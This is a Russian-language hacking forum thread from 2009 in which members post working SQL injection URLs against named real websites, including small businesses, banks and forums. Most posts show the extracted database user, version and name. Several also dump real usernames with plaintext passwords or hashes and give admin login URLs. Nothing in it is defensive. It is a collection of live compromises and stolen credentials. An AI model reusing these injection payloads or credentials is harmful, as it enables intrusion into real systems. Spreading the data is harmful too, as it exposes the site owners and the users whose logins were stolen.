SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://www.mercerbar.com/philanthropy.php?pid=2+UNION+SELECT+concat_ws(0x3a,user(),version(),database())+LIMIT+1,1/*

    mercer_mercerbar@localhost:4.1.22-log:mercer_mercerbar_db
     
  2. ILYAtirtir

    ILYAtirtir Elder - Старейшина

    Joined:
    25 Apr 2007
    Messages:
    142
    Likes Received:
    246
    Reputations:
    73
    [-_-]

    СравниСам.ру - первый в Рунете супермаркет услуг.
    Code:
    base_general:saddamhoosaine@localhost:5.1.32-log
    мне понравились
    Code:
    sms_admin_users
    ss_users
    tbl_admin_users
    tbl_users

    Code:
    login
    password
    Code:
    [FONT=System]dima:rjyntynrjyntyn
    maria:ghjcnjvfhbz
    andrey:727272
    malcev:ghbdtn123
    investrastbank:12345678
    sofrino:vTHj6uRc
    investsouz:12345678
    sovinkom:1509710
    kipbank:12345678
    mezhtrastbank:12345678[/FONT]
    ИТД

    Code:
    users_login
    users_password
    users_nick
    Code:
    [FONT=System]Maria:Maria:191700
    riddi:riddi:edjkty
    Brat::Brat
    marina::17091987
    sergey::ghjcnjhflbj
    olga::031083
    serg::123
    len:len:123
    slon::123
    diva::191369[/FONT]

    Code:
    login
    password
    Code:
    [FONT=System]linx:727272
    Dima:rjyntynrjyntyn
    olga:lj,hjgj;fkjdfnm123
    roshina:yflt;lf
    andrey:727272
    marina:ghjcnjvfhbyf
    maria:ghjcnjvfhbz
    ilya:ghjcnjbkmz
    malcev:ghbdtn123[/FONT]

    Code:
    user
    pass
    Code:
    [FONT=System]linx:727272
    Dima:rjyntynrjyntyn
    mariya:ofprfrdjqle
    andrey:3295998
    magir:ghjcnjvfubh
    olga:031083
    sveta:z[jxehf,jnfnm
    roshina:yflt;lf
    marina:ghjcnjvfhbyf
    ilya:ghjcnjbkmz
    malcev:ghbdtn123[/FONT]
     
    3 people like this.
  3. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    вот ещё парочка скулей

    вот ещё парочка скулей))
     
    _________________________
    1 person likes this.
  4. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Code:
    http://zwerg-schnauzer.info/dog.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,concat_ws(0x3a,user(),database(),version()),16,17,18
    rustrake_mini@localhost:rustrake_mini:5.0.26-lk-log
    Code:
    http://sarilocker.com/advice/qa.php?id=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6
    sarilock_01@localhost:sarilock_01:5.0.75-community-log
    Code:
    http://armor.kiev.ua/php/news.php?id=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9
    armor@localhost:armor:5.0.77
     
    #8984 mailbrush, 28 Apr 2009
    Last edited: 28 Apr 2009
    2 people like this.
  5. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Cборник музыкальных сайтов​


    Database Version: 4.1.20
    Database name: infor490_5
    User name: infor490_5@localhost

    Жаль БД 4 :(
     
    1 person likes this.
  6. Artwap

    Artwap New Member

    Joined:
    14 Aug 2008
    Messages:
    17
    Likes Received:
    2
    Reputations:
    0
    http://www.fcmetalurg.com/season/about_team.php?tid=-5+union+select+version(),2,3,4/*
     
  7. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    www.directionsmedia.net
    Code:
    http://www.directionsmedia.net/newsletters.archive/index.php?ID=-142+union+select+1,2,3,4--
    version()4.1.22-log
    database()DirMain
    user()sa@localhost
     
    1 person likes this.
  8. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    166
    Likes Received:
    439
    Reputations:
    313
    blind sql-inj
    Code:
    http://www.endven.com/index/news.php?id=20+and+substring(@@version,1,1)=5
    Code:
    http://www.ogf.org/News/news.php?id=129+and+substring(@@version,1,1)=4
    ----------------------------------------------
     
    #8988 RulleR, 28 Apr 2009
    Last edited by a moderator: 28 Apr 2009
    3 people like this.
  9. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    www.gmsn.ru - ТиЦ 1200 Pr - 6
    PHP:
    http://www.gmsn.ru/page.php?rub=news&id=-1'+union+select+1,2,unhex(hex(concat_ws(0x3A,user(),@@version,database()))),4,5,6,7,8--+
    [email protected]:4.1.16-1.gms:w_gmsn
     
    1 person likes this.
  10. ph1l1ster

    ph1l1ster Elder - Старейшина

    Joined:
    11 Mar 2008
    Messages:
    396
    Likes Received:
    153
    Reputations:
    19
    filetransit.com
    ТИЦ: 90
    PR: 6


    Code:
    http://www.filetransit.com/category.php?id=192+AND+ascii(lower(substring((SELECT+concat(name,0x3a,password)+from+user+LIMIT+1),1,1)))>1
    ascii:32,97,108,101,120,58,116,114,97,110,53,33,116

    char: alex:tran5!t

    http://www.filetransit.com/admin/
     
  11. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    ресторан-диван))

    http://www.restoran-divan.ru/menu.php?id=-1+union+select+concat_ws(0x3a,version(),database(), user())--

    4.1.22-log:www7masterovru_divan:[email protected]


    ТИЦ: 100
    PR: 0



    http://www.r-divers.ru/yacht.php?id=-1'+union+select+1,concat_ws(0x3a,version(),database(), user()),3,4/*


    4.1.22:rdivers_rdivers:rdivers_rdivers@localhost

    ТИЦ: 0
    PR: 3
     
    _________________________
    #8991 HAXTA4OK, 28 Apr 2009
    Last edited: 28 Apr 2009
  12. ILYAtirtir

    ILYAtirtir Elder - Старейшина

    Joined:
    25 Apr 2007
    Messages:
    142
    Likes Received:
    246
    Reputations:
    73
    MKBUnionBank
    5ая ветка
    user() = root
    database() = unionbank


    Закрытое акционерное общество РОССПЕЦСТАЛЬ
    Code:
    rosspecstall:[email protected]:5.0.41-log
    Code:
    admin:5f4dcc3b5aa765d61d8327deb882cf99
    админка: http://www.rosspecstall.ru/admin.php
     
  13. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    ТИЦ 180
    PR 0


    _http://www.stebenev.com/index.php?cid=2+union+select+concat_ws(0x3b,version(),user(),database()),2,3,4,5,6,7,8,9,0,1,2,3,4,5+--

    версия/юзер/база
    5.0.67;[email protected];b13249

    http://stebenev.com/admin/
    admin;2ee8f38b6616f2ad28cf84f19e8f9ffa

    Вот что выдала таблица по запросу

    _http://www.stebenev.com/index.php?cid=2+union+select+table_name,2,3,4,5,6,7,8,9,0,1,2,3,4,5+from+information_schema.tables--
     
    _________________________
  14. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.roxter.com.ua/publication.php?id=-1+union+select+1,2,concat_ws(0x3b,version(),user(), database()),4,5,6--

    5.0.51a-log;bzbunsky@localhost;roxter

    ТИЦ: 10
    PR: 4

    http://www.natec-color.ru/prod.php?id=-1+union+select+1,2,concat_ws(0x3b,version(),user(), database()),4,5,6--

    5.0.67-log;[email protected];u7799_2

    ТИЦ: 30
    PR: 0

    http://www.meridian.kr.ua/country.php?id=-1+union+select+1,concat_ws(0x3a,version(), user(),database()),3,4,5,6--

    4.1.22-log:meridian_admin@goliaph:meridian_mybase

    ТИЦ: 10
    PR: 1

    http://www.apstyle.ru/articles/index.php?id=-1+union+select+1,2,3,concat_ws(0x3a,version(), user(),database()),5,6--

    4.0.24:apstyle@localhost:apstyle

    ТИЦ: 20
    PR: 3
     
    _________________________
    #8994 HAXTA4OK, 29 Apr 2009
    Last edited: 29 Apr 2009
  15. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    _http://commercials.tuneforums.com/thread_view.php?threadID=-4037+union+select+1,2,3,4,concat_ws(0x3b,version(),user(),database()),6,7,8,9,0,1,2

    версия/юзер/база
    4.0.27-max-log;[email protected];db112672968

    http://commercials.tuneforums.com/login.php
    [email protected];MARIE532
     
    _________________________
    #8995 winstrool, 29 Apr 2009
    Last edited: 29 Apr 2009
    1 person likes this.
  16. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.lacart.ru/collectionsall.php?id=-1+union+select+concat_ws(0x3a,version(),user(), database()),2,3,4,5--

    4.0.26:[email protected]:wwwlacartru

    ТИЦ: 30
    PR: 4
     
    _________________________
    1 person likes this.
  17. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    <<ПОРТАТИВНЫЙ МИР>>
    Code:
    http://www.portmir.ru/info.php?id=-1420259+union+select+concat_ws(0x3a,version(),database(),user(),@@version_compile_os),2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7--+
    4.1.22-log:wwwportmirru2:portmir@localhost:portbld-freebsd6.2
    Code:
    http://www.portmir.ru/adm/
     
    1 person likes this.
  18. InFlame

    InFlame Banned

    Joined:
    27 Oct 2008
    Messages:
    207
    Likes Received:
    32
    Reputations:
    0
    Target: www.sundance.dk

    Evil link: http://www.sundance.dk/news.php?id=-40'+union+select+1,2,3,concat_ws(0x203a20,version(),database(),user(),@@version_compile_os)--+

    Info:
    Database Version: 5.0.51a-24-log
    Database name: sundance
    User name: [email protected]
    OS: debian-linux-gnu


    Users:
    sundance:46157170e33a0ca09fc15487fdab0a52602235ca170c
    caroline:9da0b07318fcab9d6a233ec421410823dca70bbf4dda
    caroline1:0b4f5a88e8a65fe96b873f6ae9b5a9292115fbad0bf5
    123:30bc40bd001563085fc35165329ea1ff5c5ecbdbbeef
     
    #8998 InFlame, 29 Apr 2009
    Last edited: 29 Apr 2009
    1 person likes this.
  19. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.stfootball.com/club/club_list.php?id=-1+union+select+concat_ws(0x3a,version(),user(),database()),2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23, 24,25,26,27,28,29,30,31,32--

    5.0.76-standard-log:planetfootball@localhost:stfoot_belarus
     
    _________________________
    1 person likes this.
  20. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Code:
    http://www.kulturkoppra.se/istid/page.php?id=-1+union+all+select+0,1,2,3,4,concat_ws(0x3a,id,passwd)+from+passwd--
    
    id/password:

    1:4IdIn367
     
Thread Status:
Not open for further replies.